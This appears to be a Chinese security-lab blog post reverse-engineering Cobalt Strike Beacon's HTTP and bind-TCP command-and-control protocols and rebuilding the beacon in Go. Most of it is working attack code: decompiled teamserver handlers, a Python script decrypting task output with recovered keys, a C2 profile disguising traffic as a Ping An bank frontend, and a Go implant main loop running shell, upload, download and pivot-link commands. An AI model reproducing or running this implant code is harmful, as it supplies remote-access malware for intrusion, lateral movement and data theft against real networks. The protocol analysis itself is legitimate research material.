1.3 Beacon返回的task任务数据
public byte[] serve(String var1, String var2, Properties var3, Properties var4) {
try {
String var5 = "";
//获取远程地址
String var6 = ServerUtils.getRemoteAddress(BeaconHTTP.this.c2profile, var3);
//获取post数据
String var7 = BeaconHTTP.this.getPostedData(var4);
//根据profile在post数据中获取beaconid
var5 = new String(BeaconHTTP.this.c2profile.recover(".http-post.client.id", var3, var4, var7, var1));
if (var5.length() == 0) {
CommonUtils.print_error("HTTP " + var2 + " to " + var1 + " from " + var6 + " has no session ID! This could be an error (or mid-engagement change) in your c2 profile");
MudgeSanity.debugRequest(".http-post.client.id", var3, var4, var7, var1, var6);
} else {
//根据profile在post数据中获取post data
byte[] var8 = CommonUtils.toBytes(BeaconHTTP.this.c2profile.recover(".http-post.client.output", var3, var4, var7, var1));
//var5 beaconid
//var8 post data
if (var8.length == 0 || !BeaconHTTP.this.controller.process_beacon_data(var5, var8)) {
MudgeSanity.debugRequest(".http-post.client.output", var3, var4, var7, var1, var6);
}
}
} catch (Exception var9) {
MudgeSanity.logException("beacon post handler", var9, false);
}
return new byte[0];
}
public boolean process_beacon_data(String var1, byte[] var2) {
try {
DataInputStream var3 = new DataInputStream(new ByteArrayInputStream(var2));
while(var3.available() > 0) {
//4 response长度
int var4 = var3.readInt(); //5904
//检验数据包长度
if (var4 > var3.available()) {
CommonUtils.print_error("Beacon " + var1 + " response length " + var4 + " exceeds " + var3.available() + " available bytes. [Received " + var2.length + " bytes]");
return false;
}
if (var4 <= 0) {
CommonUtils.print_error("Beacon " + var1 + " response length " + var4 + " is invalid. [Received " + var2.length + " bytes]");
return false;
}
byte[] var5 = new byte[var4];
var3.read(var5, 0, var4);
//var1 beaconid
//var5 response数据
this.process_beacon_callback(var1, var5);
}
var3.close();
return true;
} catch (Exception var6) {
MudgeSanity.logException("process_beacon_data: " + var1, var6, false);
return false;
}
}
//解密beacon返回的数据,并将解密的数据传给主处理函数
//beaconid
//返回的aes加密后的数据(加密数据(counter+结果数据长度+结果数据)+16字节的hashmac)
public void process_beacon_callback(String var1, byte[] var2) {
byte[] var3 = this.getSymmetricCrypto().decrypt(var1, var2);
this.process_beacon_callback_decrypted(var1, var3);
}
//beacon返回的任务数据解密函数
//var2 = aes加密的数据(counter+命令结果的长度+命令结果(命令类型+执行结果))+hashmac
public byte[] decrypt(String var1, byte[] var2) {
try {
if (!this.isReady(var1)) {
CommonUtils.print_error("decrypt: No session for '" + var1 + "'");
return new byte[0];
} else {
Session var3 = this.getSession(var1);
SecretKey var4 = this.getKey(var1); //获取当前beacon的aeskey
SecretKey var5 = this.getHashKey(var1); //获取当前beacon对应的HashMac
byte[] var6 = Arrays.copyOfRange(var2, 0, var2.length - 16); //task任务返回的加密数据
byte[] var7 = Arrays.copyOfRange(var2, var2.length - 16, var2.length); //最后16字节是task任务返回的hashmac
Object var8 = null;
byte[] var18;
synchronized(this.mac) {
this.mac.init(var5);
var18 = this.mac.doFinal(var6);
}
byte[] var9 = Arrays.copyOfRange(var18, 0, 16);
//对比当前beacon存储的hashmac和task任务返回的hashmac
if (!MessageDigest.isEqual(var7, var9)) {
CommonUtils.print_error("[Session Security] Bad HMAC on " + var2.length + " byte message from Beacon " + var1);
return new byte[0];
} else {
Object var10 = null;
byte[] var19;
synchronized(this.out) {
var19 = this.do_decrypt(var4, var6); //aes解密task任务返回的数据
}
DataInputStream var11 = new DataInputStream(new ByteArrayInputStream(var19));
int var12 = var11.readInt();//counter
int var13 = var11.readInt();//命令结果数据的长度
if (var13 >= 0 && var13 <= var2.length) {
byte[] var14 = new byte[var13];
var11.readFully(var14, 0, var13); //从var11中读取var13长度的字节,放入进var14
var3.counter = (long)var12;
return var14; //返回任务结果类型+执行结果数据
} else {
CommonUtils.print_error("[Session Security] Impossible message length: " + var13 + " from Beacon " + var1);
return new byte[0];
}
}
}
} catch (Exception var17) {
var17.printStackTrace();
return new byte[0];
}
}
public void process_beacon_callback_decrypted(String var1, byte[] var2) {
byte var3 = -1;
if (var2.length != 0) {
BeaconEntry var4 = this.getCheckinListener().resolve(var1 + "");
if (var4 == null) {
CommonUtils.print_error("entry is null for " + var1);
}
try {
DataInputStream var5 = new DataInputStream(new ByteArrayInputStream(var2));
//4 获取任务返回类型
int taskType = var5.readInt();
String var6;
//根据不同的返回结果执行相应的操作
...
...
} catch (IOException var13) {
MudgeSanity.logException("beacon callback: " + var3, var13, false);
}
}
}
'''
Beacon任务执行结果解密
'''
import hmac
import binascii
import base64
import struct
import hexdump
from Crypto.Cipher import AES
def compare_mac(mac, mac_verif):
if mac == mac_verif:
return True
if len(mac) != len(mac_verif):
"invalid MAC size"
return False
result = 0
for x, y in zip(mac, mac_verif):
result |= x ^ y
return result == 0
def HexToByte( hexStr ):
return bytes.fromhex(hexStr)
def decrypt(encrypted_data, iv_bytes, signature, shared_key, hmac_key):
if not compare_mac(hmac.new(hmac_key, encrypted_data, digestmod="sha256").digest()[0:16], signature):
print("message authentication failed")
return
cypher = AES.new(shared_key, AES.MODE_CBC, iv_bytes)
data = cypher.decrypt(encrypted_data)
return data
#key源自Beacon_metadata_RSA_Decrypt.py
SHARED_KEY = binascii.unhexlify("7f13e5bcc4c6c5c7af06dc3143b0b88e")
HMAC_KEY = binascii.unhexlify("b1179c03ea6cd3d4eb5054fa75332b0c")
encrypt_data=base64.b64decode("AAAAQPmxmlOwWb3bsWCXfcZJL5HJqg3HfMKEVuoGvTGOGB1Imr8hvN3n01GWoneTc3pm0tLFrWZC7QGoGvp7JfZOa1o=")
#encrypt_data = HexToByte("0000075")
encrypt_data_length=encrypt_data[0:4]
encrypt_data_length=int.from_bytes(encrypt_data_length, byteorder='big', signed=False)
encrypt_data_l = encrypt_data[4:len(encrypt_data)]
data1=encrypt_data_l[0:encrypt_data_length-16]
signature=encrypt_data_l[encrypt_data_length-16:encrypt_data_length]
iv_bytes = bytes("abcdefghijklmnop",'utf-8')
dec=decrypt(data1,iv_bytes,signature,SHARED_KEY,HMAC_KEY)
counter = dec[0:4]
counter=int.from_bytes(counter, byteorder='big', signed=False)
print("counter:{}".format(counter))
dec_length = dec[4:8]
dec_length=int.from_bytes(dec_length, byteorder='big', signed=False)
print("任务返回长度:{}".format(dec_length))
de_data= dec[8:len(dec)]
Task_type=de_data[0:4]
Task_type=int.from_bytes(Task_type, byteorder='big', signed=False)
print("任务输出类型:{}".format(Task_type))
print(binascii.b2a_hex(de_data[4:dec_length]))
print(hexdump.hexdump(dec))
http-post {
set uri "/api/postid";
client {
header "Accept" "*/*";
header "Content-Type" "image/png";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
parameter "s" "1124";
parameter "d_referer" "http%3A%2F%2Fbank.pingan.com";
output {
base64;
prepend ".PNG";
print;
}
}
server {
header "Server" "Pingan Frontend Proxy";
header "x-pingan-id" "9zHYZzF8IlH7emm3GNdwPHVCnAo1gOxmo73O9JlwMsuP68pMKrSy17kS=";
header "X-Frame-Options" "SAMEORIGIN";
output {
base64;
print;
}
}
}
AAAAMOoMW516MwI6+UQGIx5LuEleeFVzVueZ10pEkAOLNHV3HUByBodgsliVpwUoEH1VgA==
func PWD(){
var finalPacket []byte = nil
pwd, err := os.Getwd()
result, err := filepath.Abs(pwd)
if err != nil {
finalPacket = packet.MakePacket(13,[]byte(err.Error()))
}else {
finalPacket = packet.MakePacket(19,[]byte(result))
}
packet.PushResult(finalPacket)
}
func MakePacket(replyType int, b []byte) []byte {
config.Counter += 1
buf := new(bytes.Buffer)
counterBytes := make([]byte, 4)
binary.BigEndian.PutUint32(counterBytes, uint32(config.Counter))
buf.Write(counterBytes)
if b != nil {
resultLenBytes := make([]byte, 4)
resultLen := len(b) + 4
binary.BigEndian.PutUint32(resultLenBytes, uint32(resultLen))
buf.Write(resultLenBytes)
}
replyTypeBytes := make([]byte, 4)
binary.BigEndian.PutUint32(replyTypeBytes, uint32(replyType))
buf.Write(replyTypeBytes)
buf.Write(b)
encrypted, err := crypt.AesCBCEncrypt(buf.Bytes(), config.AesKey)
if err != nil {
return nil
}
// cut the zero because Golang's AES encrypt func will padding IV(block size in this situation is 16 bytes) before the cipher
encrypted = encrypted[16:]
buf.Reset()
sendLen := len(encrypted) + crypt.HmacHashLen
sendLenBytes := make([]byte, 4)
binary.BigEndian.PutUint32(sendLenBytes, uint32(sendLen))
buf.Write(sendLenBytes)
buf.Write(encrypted)
hmacHashBytes := crypt.HmacHash(encrypted)
buf.Write(hmacHashBytes)
return buf.Bytes()
}
func HttpPost(url string, data []byte) error {
httpRequest := req.New()
postString := base64.StdEncoding.EncodeToString(data)
for k,v := range config.Postheader{
if strings.Contains(v,"%ENCBEACONID%"){
config.Postheader[k] = strings.Replace(v, "%ENCBEACONID%", base64.StdEncoding.EncodeToString([]byte(strconv.Itoa(config.ClientID))), -1 )
}
}
if len(config.PostPrepend) !=0 {
postString = config.PostPrepend + postString
}
if len(config.PostAppend) !=0 {
postString = postString + config.PostAppend
}
resp, err := httpRequest.Post(url, postString, config.Postheader)
if err != nil {
fmt.Printf("[-] Post http data error: %s\n", err.Error())
return err
}
defer resp.Response().Body.Close()
if resp.Response().StatusCode != http.StatusOK {
fmt.Printf("[-] Post http response status code: %d\n", resp.Response().StatusCode)
return err
}
return nil
}
0x02 跨平台http/https Beacon
根据上面我们对cs的http/https beacon的整个通信过程的研究,完全能自己编写一个跨平台的beacon,这里我们选择了golang作为开发语言,虽然编译之后很大,但是跨平台的性很好。
但是我们想将Beacon的回连地址、加密的公钥以及profile的配置都编译到golang程序中,这样的话每次生成跨平台Beacon的时候都需要修改源代码然后再编译,所以我们在golang源码外层再进行了一次python封装,它的作用如下:
1. 解析profile,并将相应的值填入golang源码中。
2. 根据.cobaltstrike.beacon_keys计算公钥,并填入golang源代码中。
3. 实现golang项目的交叉编译。具体的流程图设计如下:
实现的部分代码如下:
func main() {
//初始化,包括:生成随机的beaconid、生成随机的global key(aes+hashmac)、创建get和post的url以及对应的header
config.InitC2Profile()
//组装和封装源数据,并循环向ts发送,直到成功
ok := packet.FirstBlood()
if ok {
for {
time.Sleep(time.Duration(config.Sleep) * time.Millisecond)//sleep时间
//获取命令数据
respBytes := packet.PullCommand()
if respBytes != nil {
totalLen := len(respBytes)
if totalLen > config.GetAppend + config.GetPrepend {
//删除prepend
if config.GetPrepend !=0 {
respBytes = respBytes[config.GetPrepend:]
}
//删除append
if config.GetAppend !=0 {
respBytes = respBytes[:len(respBytes) - config.GetAppend]
}
//decode base64
decryptBytes, base64Err := base64.StdEncoding.DecodeString(string(respBytes))
if base64Err != nil {
fmt.Println("Exception: ",base64Err.Error())
continue
}
respBytes = decryptBytes
//去除HashMac
restBytes := respBytes[:len(respBytes)-crypt.HmacHashLen]
//aes解密
decrypted,decryptErr := packet.DecryptPacket(restBytes)
if decryptErr != nil {
fmt.Println("Exception: ",decryptErr.Error())
continue
}
//读取命令数据
lenBytes := decrypted[4:8]
packetLen := util.ReadInt(lenBytes)
decryptedBuf := bytes.NewBuffer(decrypted[8:])
for {
if packetLen <= 0 {
break
}
//解析命令数据
cmdType, cmdBuf, parseErr := packet.ParsePacket(decryptedBuf, &packetLen)
if parseErr == nil{
if cmdBuf != nil {
var finalPacket []byte = nil
//执行对应的命令
switch cmdType {
case config.CMD_TYPE_SHELL:
go command.Shell(cmdBuf)
case config.CMD_TYPE_UPLOAD_START: //10
go command.Upload(cmdBuf)
case config.CMD_TYPE_UPLOAD_LOOP: //67
go command.Upload(cmdBuf)
case config.CMD_TYPE_DOWNLOAD: //11
go command.Download(cmdBuf)
case config.CMD_TYPE_CD: //5
go command.CD(cmdBuf)
case config.CMD_TYPE_SLEEP: //4
sleep := util.ReadInt(cmdBuf[:4])
config.Sleep = int(sleep)
case config.CMD_TYPE_PWD: //39
go command.PWD()
case config.CMD_TYPE_EXIT:
go command.Exit()
case config.CMD_TYPE_PORTFWD:
finalPacket = packet.MakePacket(13,[]byte("Please use shell rportfwd command"))
packet.PushResult(finalPacket)
case config.CMD_TYPE_PORTFWD_STOP:
finalPacket = packet.MakePacket(13,[]byte("Please use shell rportfwd command"))
packet.PushResult(finalPacket)
case config.CMD_TYPE_CONNECT:
go command.Connect(cmdBuf)
case config.CMD_TYPE_CONNECT_LIVE:
go command.BeaconLive(cmdBuf)
case config.CMD_TYPE_UNLINK:
go command.Unlink(cmdBuf)
case config.CMD_TYPE_FILE_Browser:
go command.FileBrowser(cmdBuf)
default:
finalPacket = packet.MakePacket(13, []byte("Command not supported"))
packet.PushResult(finalPacket)
}
}
}
}
}
}
}
}
}
0x03 Bind tcp Beacon通信过程
了解了cs回连的http/https beacon的回连以及控制过程,我们再来看内网横向的Bind tcp beacon。
3.1 解析bindtcp源数据
任务返回类型为10的时候,表示返回的是connect的结果,解析代码在beacon/BeaconC2.java中。
这里调用的process_beacon_metadata函数解析源数据,和http/https beacon解析源数据的过程一样。所以我们可以知道bindtcp beacon 上线包的格式如下:
if (taskType == 10) { //beacon返回connect结果
childBeaconID = var5.readInt(); //子beacon id
var18 = var5.readInt(); //hint信息
rsaEncryptData = CommonUtils.bString(CommonUtils.readAll(var5)); //子beacon返回的rsa加密的源数据
BeaconEntry var9 = this.getCheckinListener().resolve(var1 + "");
//null
//父beacon的内网ip
//子beacon返回的rsa加密的源数据
//父beaconid
//hint
var10 = this.process_beacon_metadata((ScListener)null, var9.getInternal() + " ⚯⚯", CommonUtils.toBytes(rsaEncryptData), var1, var18);
//成功连接到横向bind beacon
if (var10 != null) {
this.pipes.register(var1 + "", childBeaconID + "");
if (var10.getInternal() == null) {
this.getCheckinListener().output(BeaconOutput.Output(var1, "established link to child " + CommonUtils.session(childBeaconID)));
this.getResources().archive(BeaconOutput.Activity(var1, "established link to child " + CommonUtils.session(childBeaconID)));
} else {
this.getCheckinListener().output(BeaconOutput.Output(var1, "established link to child " + CommonUtils.session(childBeaconID) + ": " + var10.getInternal()));
this.getResources().archive(BeaconOutput.Activity(var1, "established link to child " + CommonUtils.session(childBeaconID) + ": " + var10.getComputer()));
}
this.getCheckinListener().output(BeaconOutput.Output(var10.getId(), "established link to parent " + CommonUtils.session(var1) + ": " + var9.getInternal()));
this.getResources().archive(BeaconOutput.Activity(var10.getId(), "established link to parent " + CommonUtils.session(var1) + ": " + var9.getComputer()));
}
}
3.1.1 验证解析数据
这里我们采用抓包一个http beacon和一个bindtcp beacon连接上线的方式,进行抓包验证。
http beacon:172.16.247.2,bindtcp beacon:172.16.247.10
1. 获取bindtcp beacon的源数据
其中id为10进制的beaconid:1919872472,对应的16进制为:726EEDD8。
2. 我们在http beacon上抓取172.16.247.10到172.16.247.2的数据包,可以成功抓到bindtcp beacon 的上线源数据包,如下:
d8ed6e72 16260b3d109719765a05bb700c998d6ca7578735042f3de458170fc22ebc681450cd06c82abb35fa4d11bef0b4d19d7d1c2018b1b6fccf9b35f47b751cbebfa903bb9f28de526fcf8d26b2f6def6952a0aab74970bfee5934cce36352be4111850856dee7e55df4ab04ab5e5bc8ed2991d3a7e477ad276b31a0373fbebe2e557
长度为132,即4字节的小端的beaconid+128字节的rsa加密的源数据。但是我们上面分析的bindtcp beacon中间还有一个hint值呢?
2.抓取172.16.247.2到ts的connect任务结果包
我们解密这个任务包获得子beacon对应的上线源数据包,然后查看二者差异。
3. 使用http/https beacon的aes和hashmac解密这个数据(记得去除prepend和append)
726eedd8 0010115c 16260b3d109719765a05bb700c998d6ca7578735042f3de458170fc22ebc681450cd06c82abb35fa4d11bef0b4d19d7d1c2018b1b6fccf9b35f47b751cbebfa903bb9f28de526fcf8d26b2f6def6952a0aab74970bfee5934cce36352be4111850856dee7e55df4ab04ab5e5bc8ed2991d3a7e477ad276b31a0373fbebe2e557
这里我们通过对比两个包,发现父beacon的connect会对子beacon返回的数据做一些操作,包括:
小端beacon id变为大端beacon id
在beacon id和rsa加密源数据之间插入4字节的hint值
4. 使用上面解析源数据的python脚本,解析上线的源数据
3.1.2 golang模拟connect命令封包
我们使用golang模拟这个过程:
//绑定子beaconid和对应tcp socket的关系
//fmt.Println("[+] Connect recv: ",fmt.Sprintf("%x",data))
clientIDBytes := data[:4]
childBID := util.BytesToUint32(clientIDBytes)
//fmt.Println("[+] Child beacon id: ",fmt.Sprintf("%x",childBID))
config.Connects.Store(childBID, config.ChildBeacon{Server: server, ChildConn: childConn})
//插入hint值
hint := 65536^uint32(port)
hintBytes := make([]byte,4)
binary.BigEndian.PutUint32(hintBytes,uint32(hint));
//小端beaconid变大端beaconid
AddBytes := make([]byte, 4)
binary.BigEndian.PutUint32(AddBytes,childBID)
endData := util.BytesCombine(AddBytes,hintBytes,data[4:])
//fmt.Println("[+] Send up: ",fmt.Sprintf("%x",endData))
3.1.3 关于hint
这里我们父beacon为什么需要向收到的子beacon的数据中插入这个hint,它又是如何生成的呢?
在common/PivotHint.java中,我们可以看到对hint这个值的应用:
public class PivotHint {
public static final long HINT_REVERSE = 65536L;
public static final long HINT_FORWARD = 0L;
public static final long HINT_PROTO_PIPE = 0L;
public static final long HINT_PROTO_TCP = 1048576L;
protected int hint;
public PivotHint(int var1) {
this.hint = var1;
}
public PivotHint(String var1) {
this.hint = CommonUtils.toNumber(var1, 0);
}
public int getPort() {
return this.hint & '\uffff'; //hint值的后4位表示一个端口
}
public boolean isReverse() {
return ((long)this.hint & 65536L) == 65536L;//hint值的第4位的最后一个bit用来判断回连和转发
}
public boolean isForward() {
return !this.isReverse();
}
public boolean isTCP() {
return ((long)this.hint & 1048576L) == 1048576L;//hint值的第3位的最后一个bit用来判断tcp还是smb
}
public String getProtocol() {
return this.isTCP() ? "TCP" : "SMB";
}
public String toString() {
return this.isForward() ? this.getPort() + ", " + this.getProtocol() + " (FWD)" : this.getPort() + ", " + this.getProtocol() + " (RVR)";
}
}
我们来解析上面实验的hint值:0010115c
hint的第3位的最后一个bit为1,表示它是一个tcp的数据包。
最后4位对应的port值为:4444,为子beacon对应的监听端口。
3.2 解析bindtcp task返回数据
通过http/https beacon的分析我们知道process_beacon_data函数是处理task返回数据的函数,其中我 们在这个函数中还找到它对自己的递归调用,如下:
if (taskType == 12) { //子beacon返回信息
childBeaconID = var5.readInt();//beaconid
childBeaconData = CommonUtils.readAll(var5); //task返回数据(len+aes加密后的数据)
if (childBeaconData.length > 0) {
this.process_beacon_data(childBeaconID + "", childBeaconData);
}
this.getCheckinListener().update(childBeaconID + "", System.currentTimeMillis(), (String)null, false);
}
由上我们bindtcp beacon返回的任务数据的格式为:
3.2.1 验证解析数据
1. 在172.16.247.10上执行cs命令
2. 在172.16.247.2上抓172.16.247.10到172.16.247.2的包
如图,我们可以看到172.16.247.10发送给172.16.247.2的一次task任务的数据包是3个。第一个包的数据:
表示任务返回数据的长度,这里是0x0714,10进制为:1812
第二个包和第三个包是任务返回数据:
1460+352 = 1812,刚好是第一个包的数据。实际任务返回数据就是将两个包连接:
000007101c430e118c822ec0aac3857c0d08b9d64d34905d76ea850a85f5ee2496cc0e2c4675fb2e 2c18562cc0422034f28221e0a45d6ecb3cb55e347ca9743cf4766f58ddfea7a82edc0e41ae5e5382 5d9552a4acd009c2210d6db1baf999421b69c1e69986213cf2fbbb4b0202a8d59ccfe07814415e07 66ec8b33e2839f1284ee956a5ad2c24eb07d9c7d82737ea5dcc0bdbd0222100e82a09bf3ad46ad96 d200cda2b017d779070022a21bc09c9970d9af538a68bd88f08391a8d4027a9bbddcfe9f451f643e a3e302549792137a1e9a7c7ded5303210fe0271710e4d5a857662f0ce250d34e4e329b83c7d5d558 0ed33dd73cc39811d26e24e4757744dd1efcdf3da4a23008a5067ee60179496cd62b5977ac487af4 fac686714605e00e66e3db292dd9a46246e765c8cb0037d39fa4f0bdb0de97bd3bad42f10e2e4b6e ce0cf07d56c15a51b592c3c0d57e33a215ebfe2cf43999f01aab0e965059eb54fc872d1f2696c992 6446ad09fb1db8b3eae8a9d1a6ca700033eae1c1d79a21beb38276ceb669b8a3a63015861d43acbe e918c321f60ed2e659350db48f13998609cbd66970ae15dda6c245e122484353907462ab50723064 4550f0b8cbec1727cd7340e85c037c8dd02a51c09df80fabc31502841c08648da74095388b6aefa3 8407777048d9c3fafa81da8493795d32efe911439085c0462e835848a170f619d4d12a335735c0fc 348df9ef65a3c6ec27b7b374446656dc15802fe22e5668314fe19147ace8508fff999fb9d1b2cf42 0dbf75936989dc7beb19daddb8279e567f207550c379db2ec243aa9447f5ce13a97b9d3b21259714 2c3e5135b0e0a875b328f75b062e7ea16e80727853c35c4a51d2322fb5d9f7c0bc5bdd1c13d14e43 f59828ac7a27ae597822de379b75d424b3809c5cff021a452685d3735016b82e6c1946da53fdc445 5ac92b0eb33f1b6ce8eca73a4c029b81674006c317bde4e44e0f233be4d6bb57453b56e94af95d73 408267949b5a6ce91746435b4bfd4eeb8c7fc7451421eb3a8b2e38b07f13a6863988af60b9e6d8f6 8ffafa0ae3e44b20ac52b5bb2d5ecbbbaf34e823dbc5ff1f5d7e93f631a065af90e5e6d4ff135d74 31153c0e62f5947b0a163e50b718e28a09304b49f0d41afdf34cf1e2c9093f28797306fe47210b7b afd377afb76f9b39c24327347af88788fb753f8161f514e47a46c2cf4b4da00547f9b892b124553a 7fa5b39a99bd75e1d77f5d07d9cddfbe722e99e5ceb33cc773ffadb51cdaf0bb21d998d4a1b318f8 70ab2dd5e704bf24aa09902b2844624256b3ed5c3af6b054c44dc9d356bea01211b11b500cae765c 1b1ff47ea6cf5652ba042d778ab6941c0afbf03f7609e9ea2235f2cfd3858f2da48282affe375876 bea69c465eddf3682b19c843c4243a132480ea6f1c46d906ac26987290bfb5b35e2f42d64be46c79 fd7b2bd22ab1a62a973a4ece0d55a5fc562700dc8f6a139cf56d3bba68a1a66c25fd5b8746639d08 d3b99cfec117db3a3c7e4ea5b1aa86547f6ddae2e6ec0bc14be6abfdf2dc5862d45a2b315b26a108 fbcbb36080fe7ad1b854d81d8532602596f83aae6b328e20ea87e1d4f0647b7c76004f07fc8135fa 9b11482f3b7a85a90c9f6e91e08f086661e9140427ce546075f9e226980b8bb2465c45bbaf9a7976 2dc9de96a33e8cc1512dbfd2bbbfed7418fd9d679948092047466b60bf76d84b6c1bc2a4ef79ec42 82ad5448848bf8a4bb1df9f7bd5688ec89804cfceb450f6696964906d69e62c6310dbd8878b4064a 68bede64051f41dd427d784cd596cb36b921561fe75e6f8c43920481dd756914af1cafa79ee34bf8 448a5ab89e3a4de3665045267c4e48da07f677efe2e8a0b036d09524ecb91e7c4720bfac87099c85 1e1d23fa4fc446721e0905209982d9a2ddc40a5233e2d04317d9ceba6a09779d9e944fb5ca1ec237 9a68d1ddcdba7e31c40877cec68a5acdde9fafb57e84e6640f404acabd6e39f779c69e321718631d af8cc5dd76d79cf858deac780e8ac5637bac95ee84c6137f667a8807fe52add083203cc00cb9c112 bb839738df241e244ffe600ad3eff58f04eefdaae71faacca20e1d12f9f18e2e1250201f62918968 d615cff69db01d57007d6267d44e193e3189a761f396bbe487f941b26ac1836d85c4c2a02d094367 16011a6e4a0201b34a816a5469449049966a425ce3226d2fa90669a6305a0c5dbb0cc85688365bbf 8c88a911b378ae080810e239c43e52e09f294e7e445f5c4178bb809c887631c3c86faa8e4a8ed435 db34b2c7df9ee05b6a54c648c60d9d464f7476e16a578d0a54040b4c5abc4f23846716da3fd90736 ee8d5015220ca48c66c8bb0e73f7b0f525161e82fec27789cace323577ffc5f266128e628a0c5155 955f1786576fd1668c6fb83c0999d285306a5ed6d2e8d69df636cf917e220ba7881a69f5a313abeb 0125e00f49f59a1c5bd23443d1c4824bdc486af863b67e936a876d86ad2062141c1b2c30c3d5444a c92f4b8c9949bfdbb7ce1fe0
3. 根据上线源数据获取aeskey和hashmac
子beacon发送给父beacon的上线源数据包为:
5e85aa3106755b9156b8f3b04fa0da72dc3740465cc0d2f45c5dd3d3d6a7496f397892c5dc5b11d7 602419647d177b5563a952f10c395c385832fedeebd119a89a3b77c32d62bf19c44f75836ab0a20e 200eaec1aace752a0690d9284b5da6402e3034f09fbc568b684e793d9983cf8601cd309bdcaa273e 6fadd95081508147f95fd914
按照我们上面的分析,还需要删除前面4字节的反序beaconid才是真正的上线源数据:
06755b9156b8f3b04fa0da72dc3740465cc0d2f45c5dd3d3d6a7496f397892c5dc5b11d760241964 7d177b5563a952f10c395c385832fedeebd119a89a3b77c32d62bf19c44f75836ab0a20e200eaec1 aace752a0690d9284b5da6402e3034f09fbc568b684e793d9983cf8601cd309bdcaa273e6fadd950 81508147f95fd914
然后使用解密源数据的python脚本解密:
获得AES key和Hashmac
AES key:9b933592951d47b2ae93e339b640e92d
HMAC key:8fa971e3d5950a7ff0d5f4fca898c8ae
4. 根据bindtcp beacon源数据获得aes key解密bindtcp beacon返回的任务数据
如上图,与我们cs执行命令返回的结果一致。
3.2.2 golang模拟发送请求
func BeaconLive(cmdBuf []byte) {
childBID := binary.BigEndian.Uint32(cmdBuf)
value,ok := config.Connects.Load(childBID)
if ok{
childBeacon,ok := value.(config.ChildBeacon)
if ok{
childConn := childBeacon.ChildConn
if len(cmdBuf) == 4{
packet.WriteData(childConn, nil)
}else {
packet.WriteData(childConn, cmdBuf[4:])
}
data,err := packet.ReadData(childConn)
if err!= nil{
if err.Error() == "EOF"{
Unlink(cmdBuf[:4])
}else {
finalPacket := packet.MakePacket(13,[]byte(err.Error()))
packet.WriteData(config.ParentConn,finalPacket)
}
}else if data == nil { //心跳成功返回
childBIDBytes := util.Uint32ToBytes(childBID)
finalPacket := packet.MakePacket(12,childBIDBytes) //返回数据到上一层时添加子beaconid
packet.WriteData(config.ParentConn, finalPacket)
} else {
childBIDBytes := util.Uint32ToBytes(childBID)
endData := util.BytesCombine(childBIDBytes, data)//返回数据到上一层时添加子beaconid
finalPacket := packet.MakePacket(12,endData)
packet.WriteData(config.ParentConn, finalPacket)
}
}
}
}
0x04 跨平台的bindtcp Beacon
根据上面的分析,我们总结出bindtcp流程如下:
4.1 子beacon的任务过程
1. 子beacon新建监听,初始化全局变量,比如:beaconid、AES key和HashMac等;然后等待父beacon连接。
2. 建立连接之后,子beacon获取源数据组包,并使用公钥加密,然后封包小端beaconid,最后使用自定义的tcp封包格式(长度包+数据包)发往父beacon。
3. 子beacon进入循环读取父beacon任务,任务分为:命令任务和心跳任务。
4. 子beacon判断收到心跳任务时,向父beacon返回0x00000000,表示在线;子beacon判断收到的是命令任务,会使用AES key解密命令,解析出实际命令分配对应的线程取执行。
5. 当命令执行线程执行完命令之后,将执行结果进行任务结果的封包:包括AES加密命令结果,封装结果长度,封装Hmac等;然后使用自定义的tcp封包格式(长度包+数据包)向父beacon发送命令执行结果。
4.2 父beacon的任务过程
1. 接收连接到子beacon的任务,判断是否已经连接,如果没有,则连接子beacon监听的端口。
2. 读取子beacon返回的源数据包,获取子beaconid,并将子beaconid、子beacon对应的ip、port、对应连接的tcp socket进行绑定。
3. 封包连接任务返回数据:大端beaconid+hint+rsa加密的子beacon源数据;然后再使用父beacon 的AES key加密源数据,并封装数据长度和父beacon的hashmac。
4. 如果父beacon是http/https beacon,会对应使用模拟http请求向ts发送父beacon的连接任务数据(即子beacon的上线源数据);如果父beacon是bind tcp beacon,会对应使用自定义的tcp封包格式(长度包+数据包)发往父beacon的父beacon。
5. 父beacon等待ts/上一级beaocn的任务,从解密的任务数据中获取子beaconid,然后根据子beacon ID获取对应的socket,最后使用对应的socket将数据发送到子beacon。
6. 然后等待子beacon返回命令执行数据,并封装上子beacon ID,然后再用父beaocn的AES key加 密,封装上数据长度和hashmac,最后发往ts/上一级beacon。
银河实验室
往期回顾
技术
技术
技术
技术
长按识别二维码关注我们
微信号:PSRC_Team
球分享
球点赞
球在看
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
随时掌握互联网精彩
- 1 这个小岛,为何让总书记如此牵挂? 4963225
- 2 李一桐推荐欧豪报名歌手 4989339
- 3 菏泽郭有才为什么就火了 4896892
- 4 华流永不过时 4768244
- 5 男生地铁上被女子偷拍追上硬刚 4696484
- 6 西安一副镇长半夜叫别人妻子唱歌 4571784
- 7 麦当劳被曝用过期食材 偷工减料 4480715
- 8 男子连吃3根生香蕉致肠梗阻 4316205
- 9 景区辟谣门票收9999元 4266149
- 10 苏丹总统府遭轰炸 4171908